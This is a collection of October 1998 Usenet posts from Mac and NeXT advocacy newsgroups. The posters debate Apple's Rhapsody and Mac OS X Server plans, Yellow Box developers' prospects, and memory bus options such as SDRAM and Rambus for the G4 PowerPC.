> Maury Markowitz wrote:
> > > ... Given the opportunity to go back to the end of '97, I
> > > would have stayed with Amelio's plan and developed Rhapsody along
> > > with MacOS. (Which is what they are actually doing: OS X Server
> > > and OS X.) The problem is they've botched the marketing positions
> > > by throwing this "Server" thing down in the middle of 8.5 ---> X.
> > > If it was called OPENSTEP(or OS X for Enterprise), this would not
> > > be a problem.
> >
> > This is entirely different than what they were doing. They were doing
> > "server" and telling everyone to upgrade. This is _significantly_
> > different than the current strategy and in retrospect it appears Jobs was
> > correct in thinking it was going to fail.
>
> Huh, Maury, I think I see what you're saying, but this is NOT the clearest
> paragraph you've ever written. What do "they", "this", and "it" refer to?
>
> That the OS plan had to change from the original one announced by Amelio is
> clear. Traditional Mac developers were simply not buying having to recode
> everything to YellowBox. So reformulating the plan by adding Carbon made a
> lot of sense. The way in which the reformulation was handled was FUBAR,
> though. Rather than stressing how Carbon provided a seamless transition path
> to a brave new world in which YellowBox would _gradually_ take over, Apple
> ended up verbally minimizing YellowBox's role completely, sending everyone
> into a tizzy and generating reams of even-less-compelling-than-usual usenet
> traffic. And now they're paying the price for that, by having this fantastic
> piece of software that they don't know what to do with from a marketing
> perspective.
The origional plan of Tempo, Allegro, Sonata (and finally Rhapsody) with
Openstep running it's own coarse was good. The problem came somewhere
along the line when Apple rather than plan a clear migration for it's
primarly MacOS clients/devs/etc. to YB just shoved YB in their
face. To make matters worse when they shoved YB in their face
they didn't even have the decency to give them Openstep for PPC
and related products.
It was bad enough the forced change from MacOS to YB but
the fact that Apple seemed to be hiding Openstep as if they
were ashamed of it in terms of a selling product. A straight port
of Openstep 4.2 to PPC and a continuing of track with MacOS
until Apple could see through how to get MacOS programmers
pointed in the YB direction would have been prudent.
Carbon is a good start - but extremely late. No YB for MacOS
very bad. I'm sure it would have been a tough if impossible
job to make a YB for MacOS. But at the very least Apple
could have simply given Openstep for PPC and let people
dual boot - (use both as they will - till Apple could figure out
how to make the happy wedding occur).
Still we are stuck without a Openstep on PPC or G3. Why?!
No YB for MacOS. Hell no YB for anything except Intel/Black.
(I am counting shipping products)
> > As to calling it OPENSTEP that name has little cachet outside the
> > OpenStep world, and those inside the OS world care little about the names.
> > The people that are going to buy Server are the current OS users (the ones
> > that will buy a Mac - that's my big complaint) and real server users. I
> > don't see the big panic that everyone assumes is out there.
>
> Agreed, the name is the least important part of the problem, although Appple
> HAS further compounded their perceived marketing problems for themselves by
> calling Rhapsody "MacOSX Server". I personally don't care what they call it,
> as long as they'll sell it to me, soon and at an affordable price.
I think the name is a secondary issue. But when I advocated the name
change it was in conjunction with other main step which Apple ignored.
Namely announce a solid commitment to YB and Intel support for Mac OS X.
They did neither IMO. There are other issues involved also - namely
SMP support and a relatively decent set of driver support for Server
class devices (Fibre Channel, RAID, etc.)
> As I said elsewhere in this thread, I think the best solution is to simply
> call Rhapsody "Mac OS X beta" -- since that's what it ultimately is, anyway
> -- and sell it as such. The "beta" moniker would protect them from any
> marketing missteps they might fear making, since whatever happens they can
> always claim "it's just a beta."
Just stick with Mac OS X Server. If they want to tack on a beta at the end
it 'may' not matter. But I'd really have to think about all the issues from all
sides to decide what MAY be the best course of action to save this situation
at this point.
Given Apple is showing modest profits one might say the situation isn't
that bad. I think it might just be much worse than we might think given
the fact that Apple doesn't know how to deal with the fact they can't
seem to marry MacOS and YB as quickly as they'd like and they
keep holding anything YB back in the dark recesses. Maybe they
have some big plan for early next year. I can't see how they can
expect to pull off anything with Server when it is not SMP, has
limited drivers for server class devices (RAID, Fibre Channel, etc.)
(i.e. OpenMach - do it now - get independant driver development going NOW)
This only leaves Mac OS X Server as a development
environment. Which means YB for windows is the better sales
job. But oh did we forget to tell you the display model will change.
What havoc will that wreak.. I think Apple is very aware of this
and doesn't see any way out of these myriads of problems.
All of this tells me it will take a huge amount of analysis and some
very careful planning to create a growing sustainable, trust building
enterprise around YB from the MacOS consumer base they now
rely on.
I started working on a article on this whole matter - trying to consider
all the problems, issues, history to see if there is a way to navigate the
storm coming so as not to hype products not nearly close to ready
to placate and to provide a strong upgrade path for existing legacy
customers that will make them happy, and to create more options
for Apple. Also to provide for a way for YB to grow and thrive.
Eventually it will show up at
http://www.channelu.com/Articles and be titled something like
Visions of a Future for Apple.
Ultimately only time will tell. I'm very much hoping we see Mac OS X
Server along with YB for Windows ASAP.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 09:11:31 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net>
References: <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156> <F18HKC.C4w@T-FCN.Net> <362F5239.6C1C8ED9@ericsson.com>
>Rhapsody was due by *early* 1998 and neither DR1 nor DR2 fit the
>description. That is the state of affairs.
>
I think you need to remember that Apple had a severely
NEGATIVE reaction from EVERYONE regarding DR1. Mac
developers hated it, OPENSTEP developers hated it. No
one liked the thing. Most of that criticism was aimed
at the interface. Apple had to direct significant time
and resources to work on the interface for DR2. When
DR2 was released, they received a little less criticism.
But it was still significant(DR2 overall was well received
though.)
The problem with releasing a "Mac" operating system is
you have a lot of old gaurd mac developers who sit in
judgement:
"That's not a Mac," "A Mac doesn't do that," etc.
Best Regards,
CaHand
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Wed, 21 Oct 1998 01:24:47 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net>
In article <F139H5.78H@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> > I mean implementing a double rate interface where data is
> > transfered on both the rising and falling edge of the bus
> > clock. This way a 128 bit 100MHz system bus would be able to
> > provide data at twice the rate (200MHz) and provide 3.2 GB/s
> > of bandwidth.
>
> Sorry, more questions. In order to get these speeds it seems we need a
> significanly upgraded memory bus. Would interleaving make everyone happy?
> And what is needed for double rate use? Do current DRAMs handle this under
> the proper conditions?
Observe that todays G3 machines with their 66 MHz 64 bit SDRAM memory
systems have a sustainable memory bandwidth not too far from 150 MB/s.
(The exact numbers elude my search routines.)
Boosted to 100 MHz, this is still only just over 200 MB/s.
Q1. How fast can an AltiVec Unit chew through data?
Q2. Given that the various units can operate independently, how fast
could a G4 blaze through data?
A 100MHz 128-bit bus implemented similarly would lie around 500 MB/s,
with the very slight inconvenience that industry standard SDRAM
modules would have to be added in pairs. Seems simple and straight-
forward to me. (Was done years ago by the cheap SGI O2.)
There are more sophisticated approaches available without going exotic
by any means. DDR SDRAMS as mentioned above would also be a simple way
to increase bandwidth if availability of chips is good.
Put all of this together, and you have a motherboard design that might
even be able to support multiprocessors! ;-)
I can't imagine other than that the AltiVec unit is going to be seriously
bandwidth limited for many of its' potential applications.
Jonas Palm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
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Sender: news@T-FCN.Net
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Cc: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu
Organization: My ISP puts something here if I don't.
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F16L3y.6I7@T-FCN.Net> <70m49j$u8h$2@hecate.umd.edu>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:48:07 GMT
In <70m49j$u8h$2@hecate.umd.edu> David T. Wang wrote:
> I'm not sure if anyone is interleaving SDRAM at this time, it would
> probablly add very little performance for very little cost. If anyone's
> doing it, it would have to be in a server somewhere.
Sorry, is that what you meant to say - low cost, low benefit?
> edge of a transistor. The difference is in the added RAMBUS interface.
> currently the first generation of RAMBUS chips has something like a 30%
> area overhead for the interface. RAMBUS claims that it can eventually
> be reduced to something like 5% area overhead, which makes it cost
> competative with plain DRAM.
Do you know (or have a pointer to) the physics behind it? What allows
them to get the data out onto the bus faster? Or is this an opposite
issue, that the protocols on SD slow it down?
As I understand it SD works basically by requesting blocks of memory to
be transfered. The SD "fills out" the request. Is this basically correct?
If so, is the primary difference here that the RAMBUS protocol is better at
this, or faster?
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Tue, 20 Oct 1998 22:08:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70j1lq$hie$1@nnrp1.dejanews.com>
References: <01bdfc5b$c2fd8520$06387880@chewy>
"Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
> For most of us, the delays of Rhapsody (originally planned for Jan
> 98?), then delays of MacOS X Server (Fall of 98), and finally the
> potential cancellation of MacOS X Server is only frustrating.
Macweek is quoting an Apple spokesperson to the effect that MOSXS is not
cancelled and will be released before the end of the year. See their site.
> I wonder about all those developers creating YB applications but who
> cannot generate any revenues because of the OS never leaves the beta
> stage?
> While we [potential] users/customers can be frustrated by the
> [in]actions from Apple, I have to believe that the YB developers are
> really pulling out their hair.
Well, without wishing to say that all is well for YB developers, it's not
QUITE as bad as you paint it, either. Several of them ARE selling various
versions of their apps, either in NeXTSTEP/OPENSTEP versions or in Rhapsody
DR1/DR2 versions. Obviously, both markets are rather small, but they do
provide SOME income. I, for one, have bought various apps from several
vendors, eg I acquired Stone's entire line-up, which run fine on my NeXTSTEP
3.2 system and are upgradable to the Rhapsody versions when it ships.
But there's no doubt that all these developers are eagerly awaiting the
release of MOSXS so that they can start selling more apps. Heck, even very
poor adoption of MOSXS is likely to result in an order-of-magnitude increase
in their potential market. I certainly will be buying several more apps, such
as Mesa and Tiffany, as soon as I have a MOSXS system I can run them on
(assuming prices are reasonable, both for MOSXS and the apps themselves).
> Suggestions: (1) Apple lets YB developers sell their products to
> current Rhapsody beta testers/developers.
As I said, this is already happening. But it's not a big market.
> (2) Apple openly distribute
> MacOS X Server as pre-release software (perhaps for a $20 license fee)
> and let YB developers sell their products to this expanded consumer
> base. (3) Apple declare MacOS X Server as a product and sell it.
Either of these would be fine with me. As long as they PLEASE DO SOMETHING!!!
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:57:47 GMT
In <B253CB6F-25222@206.165.43.156> "Lawson English" wrote:
> If CR1 was meant to ship in 1Q98, it will be at least a year late. In
> Apple-ese, 1Q98 is Christmas 97. Of course, you can insist that they meant
> some other company's 1Q98...
Oh come on Lawson, this nit pick is entirely silly.
Premier/CR1 was supposed to be released in "the first half of 98". No
one said "Q1" and Apple's financial Q's have _never_ been used as
chronological dates for releases.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com>
<01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
<362E0210.D5392CC6@ericsson.com> <nagleF16tA5.Itp@netcom.com>
<70limg$rgq$1@nnrp1.dejanews.com> <F17A2D.Jyp@T-FCN.Net>
<70nblv$q26$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:52:15 GMT
In <70nblv$q26$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> Sorry, but I disagree. Marketing YB "off the map" when MOSX ships is too
> late.
> They need to market it NOW, to developers who will produce YB-native apps
> so
> that they're available when MOSX ships. Else we're left with the problem
> the
> iMac had: the computer is there but no peripherals are available.
YB won't be in the hands of the consumers until late next year at the
earliest. An OS they can use to play with in in a reasonable fashion isn't
due for a bit still. I don't think it's too late by any means.
> As it stands, the lists of apps under development with YB consists almost
> entirely of former NeXTSTEP/OPENSTEP apps
Not ours!
Maury
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 10:25:18 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2210981025180001@1cust32.tnt3.redmond.wa.da.uu.net>
References: <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156> <F18HKC.C4w@T-FCN.Net> <362F5239.6C1C8ED9@ericsson.com> <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net> <362F62D8.F23BFC3F@ericsson.com>
>
>I don't have all the answers, and this is a historical point that gets
>me. I was one of the people who thought the interface was an exciting
>opportunity,
And Apple repeatedly stated that DR1/DR2 were NOT the
"advanced look and feel." Neither is MacOS 8.5. The
interface will morph, it's just taking some time. I
don't think we'll ever see left-side scroll bars again,
but I expect that the good parts of the Mac and NeXT
interfaces will be present. (Personally I hope the
Finder is replaced with something else.)
But the mac user base doesn't believe *anything* Apple
says, even if it's NeXT.app(le) and not Amelio/Spindler/etc.
>> "That's not a Mac," "A Mac doesn't do that," etc.
>
>True, but knowing that makes you all the more capable of being
>accomodating, right? Right?
Yep. Patient, too.
Best Regards,
CaHand
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
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References: <F14q8r.C47@T-FCN.Net> <B252236F-1A196@206.165.43.138>
Mime-Version: 1.0
Date: Tue, 20 Oct 1998 22:05:49 GMT
In <B252236F-1A196@206.165.43.138> "Lawson English" wrote:
> You're in a pissing contest with me, Maury, and I just won't play.
No I'm not, I'm just attempting to draw you to point out that you don't
have a clear understanding of what you're talking about. You could use
this constructively, but as the last year has demonstrated you're
apparently not willing to learn from your mistakes.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 20 Oct 98 15:45:58 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25260B9-100817@206.165.43.138>
References: <F15BsL.MMz@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2522334-193AC@206.165.43.138> "Lawson English" wrote:
>> OK, that's what I actually meant to say.
>
> I believe that. Not. If that was what you meant to say, how is it that
>YB apps would be calling Carbon?
I was under the impression that Carbon would be the direct API to the
underlyign services. I was wrong. Regardless, eQD is called by both Carbon
and YB if my understanding is NOW correct...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 20 Oct 98 15:49:49 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25261A0-103E56@206.165.43.138>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B252236F-1A196@206.165.43.138> "Lawson English" wrote:
>> You're in a pissing contest with me, Maury, and I just won't play.
>
> No I'm not, I'm just attempting to draw you to point out that you don't
>have a clear understanding of what you're talking about. You could use
>this constructively, but as the last year has demonstrated you're
>apparently not willing to learn from your mistakes.
No, what this last year has shown is that many people on the Internet don't
know how to effectively communicate with each other.
Socratic teaching methods are fine for philisophical discussions, but it
would have been so much easier to simply have said:
eQD is a graphics layer underneath both Carbon and YB that both can access
using a different API.
Instead, you attempt to "draw me out [lead me on] to point out that I don't
have a clear understanding..."
Pointing out my shortcomings is merely a fancy way of saying that you
wanted to prove me wrong and you right, I.E., a pissing contest.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280002010981602080001@206.82.216.1>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu> <70hd1b$tgc$1@hecate.umd.edu> <362D0D10.DC8B5517@waii.com>
Organization: Quicksilver Software, Inc.
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Date: Tue, 20 Oct 1998 16:02:08 -0700
NNTP-Posting-Date: Tue, 20 Oct 1998 16:01:19 PDT
In article <362D0D10.DC8B5517@waii.com>, Tom Vincent <tom.vincent@waii.com>
wrote:
> Right now Intel is the chip foundry for the Alpha.
Replace "the" with "one of the" above, Samsung also has a stake in
manufacturing Alpha, and isn't there one other Asian source?
Rob
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: YB developer's lost revenues
Date: 20 Oct 1998 19:15:33 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdfc5b$c2fd8520$06387880@chewy>
For most of us, the delays of Rhapsody (originally planned for Jan
98?), then delays of MacOS X Server (Fall of 98), and finally the
potential cancellation of MacOS X Server is only frustrating.
I wonder about all those developers creating YB applications but who
cannot generate any revenues because of the OS never leaves the beta
stage?
While we [potential] users/customers can be frustrated by the
[in]actions from Apple, I have to believe that the YB developers are
really pulling out their hair.
Suggestions: (1) Apple lets YB developers sell their products to
current Rhapsody beta testers/developers. (2) Apple openly distribute
MacOS X Server as pre-release software (perhaps for a $20 license fee)
and let YB developers sell their products to this expanded consumer
base. (3) Apple declare MacOS X Server as a product and sell it.
Any thoughts?
Todd
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280002210981125330001@206.82.216.1>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F16L3y.6I7@T-FCN.Net> <70m49j$u8h$2@hecate.umd.edu> <F18H47.Bq9@T-FCN.Net>
Organization: Quicksilver Software, Inc.
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Date: Thu, 22 Oct 1998 11:25:33 -0700
NNTP-Posting-Date: Thu, 22 Oct 1998 11:24:42 PDT
In article <F18H47.Bq9@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <70m49j$u8h$2@hecate.umd.edu> David T. Wang wrote:
> > I'm not sure if anyone is interleaving SDRAM at this time, it would
> > probablly add very little performance for very little cost. If anyone's
> > doing it, it would have to be in a server somewhere.
>
> Sorry, is that what you meant to say - low cost, low benefit?
>
> > edge of a transistor. The difference is in the added RAMBUS interface.
> > currently the first generation of RAMBUS chips has something like a 30%
> > area overhead for the interface. RAMBUS claims that it can eventually
> > be reduced to something like 5% area overhead, which makes it cost
> > competative with plain DRAM.
>
> Do you know (or have a pointer to) the physics behind it? What allows
> them to get the data out onto the bus faster? Or is this an opposite
> issue, that the protocols on SD slow it down?
>
> As I understand it SD works basically by requesting blocks of memory to
> be transfered. The SD "fills out" the request. Is this basically correct?
> If so, is the primary difference here that the RAMBUS protocol is better at
> this, or faster?
Rambus is a point to point interface, you can't easily hang 8 or 12
Rambus sockets off of one bus as is done with DRAM/SDRAM as we know it
today. I think if you want to have multiple banks you need more ports at
the processor end to talk to each channel independently.
So not only the protocol is a little different, but the electricals are
different too. It's a relatively narrow datapath being clocked at a rate
5-6 times higher than any run of the mill wide DRAM bus, this leads to lots
of interesting PCB layout issues (precise trace lengths etc) but that is
the tradeoff that they make for the increased bandwidth.
Every Nintendo 64 has a pair of Rambus memory chips in it. (random fact)
Rob
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 22 Oct 1998 18:02:36 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn72uspr.8l5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
NNTP-Posting-Date: 22 Oct 1998 18:02:36 GMT
On Mon, 19 Oct 1998 20:07:52 -0700, CaHand <ch3@earthlink.net> wrote:
:In article <70g2s9$t17@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
:
:
:>I think that's the most rational explanation. I have concluded
:>that Apple has a firm grasp on where it wants to be a year from now with Mac
:>OS X, but *not* what it wants to do in the meantime with its predecessor.
:>The tech is already fabulous, but the marketing case is hard to make between
:>now and then. They don't want the first release to look like a failure --
:>lest it cripple the later consumer version
:
:And I can't think of a better reason why Apple *should* have
:kept OPENSTEP as a product line until OS X was ready.
Remember. Think "Monobrows".
If Jobs had been there from the beginning (Jan 97) it might have happened.
Here's what I would have considered the best strategy all around:
* Continue to develop and *sell* Full-Fledged OpenStep, and get it
ported to Mac hardware ASAP, and then start selling it.
* Cook up Carbon.
* Develop MacOS X, and MacOS X Server, with the latter being the
successor to OpenStep, but both being on the same underlying OpenStep
technology. Switchable OpenStep/MacOS look and feel.
* Define: MacOS X Server = MacOS X + full Unix.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
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References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F16L3y.6I7@T-FCN.Net> <70m49j$u8h$2@hecate.umd.edu>
<F18H47.Bq9@T-FCN.Net> <rbarris-ya023280002210981125330001@206.82.216.1>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 20:15:33 GMT
In <rbarris-ya023280002210981125330001@206.82.216.1> Rob Barris wrote:
> Rambus is a point to point interface, you can't easily hang 8 or 12
> Rambus sockets off of one bus as is done with DRAM/SDRAM as we know it
> today. I think if you want to have multiple banks you need more ports at
> the processor end to talk to each channel independently.
Ahhh, that's interesting. What are the ports on the CPU end like? Is it
basically a membus<>cache controller?
> So not only the protocol is a little different, but the electricals are
> different too. It's a relatively narrow datapath being clocked at a rate
> 5-6 times higher than any run of the mill wide DRAM bus, this leads to
> lots
> of interesting PCB layout issues (precise trace lengths etc) but that is
> the tradeoff that they make for the increased bandwidth.
Right. Is the primary idea of the faster clock rate to reduce latency?
Or is the low latency a side effect of something else entirely?
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Thu, 22 Oct 1998 20:29:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70o4jp$krk$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost> <70nh71$v87$1@nnrp1.dejanews.com> <362F5631.71F99B2B@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> spagiola@my-dejanews.com wrote:
> > You're right, I should have been more precise: AMONG MAC DEVELOPERS there
> > never was any interest for YB, ergo, Steve couldn't have killed it. Make a
> > list of all the traditional Mac developers who announced YB ports of their
> > apps, or new apps written with YB, in 1997, and you'll come up with a very
> > short list indeed.
>
> This is the BS that makes me so mad. We keep hearing that no developers
> announced YB products and therefore there was no interest.
> Listen up: BULLSHIT
> Most developers have a policy of *not* announcing products before they
> are substantially complete. At the very least, most have a policy of
> *not* announcing products before the operating system for which they're
> designed has even SHIPPED!
Are you saying that there WAS Mac developer support for YB, or are you merely
saying that a lack of announcements is not sufficient proof that there
wasn't? I'll grant you the latter, from a purely logical perspective, but I
see no reason to change my opinion that Mac developers opposed YB. If lack of
announcement isn't proof of lack of interest, it certainly isn't proof of
interest, either! Every piece of evidence I could see indicated not just
disinterest but profound resistance to YB among the bulk of Mac developers
(eg, pronouncements by Adobe). Do you have any evidence to the contrary?
If it turns out that a whole slew of Mac developers DO have YB apps ready when
MOSXS ships, I'll be happy to eat my words. Nay, I'll be *ecstatic* to eat my
words.
> Jeez, they didn't even know whether there would be Mac clones or who
> would be running Apple by the end of the year! This company has been
> *RADIATING* uncertainty for the past decade.
Which is precisely my criticism of Apple's CURRENT stance. And yes, killing
clones etc did not help (I still think that was a real dumb move).
> > So I don't think Steve can be blamed for killing interest in YB among Mac
> > developers.
>
> Yes, he CAN. Steve did not move to resolve uncertainty,
If there was no interest to begin with, Steve couldn't have killed it. Since
you've provided no proof that there was interest, I remain of the opinion
there wasn't, ergo Steve couldn't have killed it. He COULD have done a lot
more than he's done (especially recently) to build interest -- or at the very
least not to discourage it.
> You seem to forget so conveniently that MacOS developers had significant
> stake represented in their markets.
I'm not. There were some good reasons for the resistance to YB, including the
prior investments in MacOS apps and the uncertainty regarding Apple's future,
along with a lot of bad ones. Fact is, there was resistance.
> > I think [Steve] and Apple collectively CAN be blamed for making the
> > problem worse by the way they presented the new OSX strategy, under
> > which it appeared that Apple's commitment to YB was wavering at best,
> > and non-existent at worst.
>
> The bulk of the damage was already done before the OSX strategy.
Well, we'll have to agree to disagree on this point. Not that there wasn't
damage, but that Steve was primarily to blame for it. Demonizing Steve isn't
terribly helpful in understanding what went wrong, IMHO.
> Actions speak louder than words. Ship Rhapsody and shut people like me
> *up*. Make me lose $200 to mmalcolm crawford. Make me eat my words.
> Bring it on. Nothing would make me happier.
Amen.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156>
<F18HKC.C4w@T-FCN.Net> <362F5239.6C1C8ED9@ericsson.com>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 20:28:13 GMT
In <362F5239.6C1C8ED9@ericsson.com> Michael Peck wrote:
> > Premier/CR1 was supposed to be released in "the first half of 98". No
> > one said "Q1" and Apple's financial Q's have _never_ been used as
> > chronological dates for releases.
>
> Yeah, they have, and yeah, it was originally scheduled for the end of
> 1997:
So you agree, first half of 98? I assume that's what the first "yeah"
means.
The second one ("they have") must refer to Apple, but as far as I can
tell you base this only on the comments of a few people. However the
massive majority of print articles on this all quote a "first half" release
for Premier.
The last "yeah" then much refer to using Apple's financial Q's to table
release dates. I can think of no examples of this.
So we come to this - if you accept the absolute worst case, getting the
OS into the consumers hands is still less than a year late, based on
non-official dates from a very long time ago. On the other hand if you
accept the most commonly published dates for the first customer release
then it's somewhere between 4 and 6 months overdue. But if you accept the
dates Apple's been saying since WWDC, they are about 1 month overdue. So
as the date grows closer, the estimation grows more accurate, as one would
expect.
> "The first customer shipment of the OS, to be called Rhapsody Premier
> Release, will be as compatible with Mac OS 7.x applications as Apple can
> manage by the end of 1997, said Vito Salvaggio, product line manager for
> Mac OS releases, in comments following Amelio's keynote."
Yet searching over _official_ releases (as opposed to news stroies) from
Apple I can find no references to this.
> number of people attempting to rewrite history and misrepresent how late
> Rhapsody actually is. "Steve is doing great, Steve has a strategy, blah
> blah blah". It will give me no satisfaction that these people come to
> their senses if it is too late when they do. They need to come to an
> understanding of how just poorly this OS strategy has been executed.
Why?
> Rhapsody was due by *early* 1998
So then you're willing to write off the earliest dates as well? Good.
That makes it something on the order of 6 months late, which is pretty good
for a major revision to a OS, let alone one that was ported to a new
platform. Can you name any other desktop OS that'sÊbeen that close to
initial forcasts? 95 was years late, as was almost every release of NT. 98
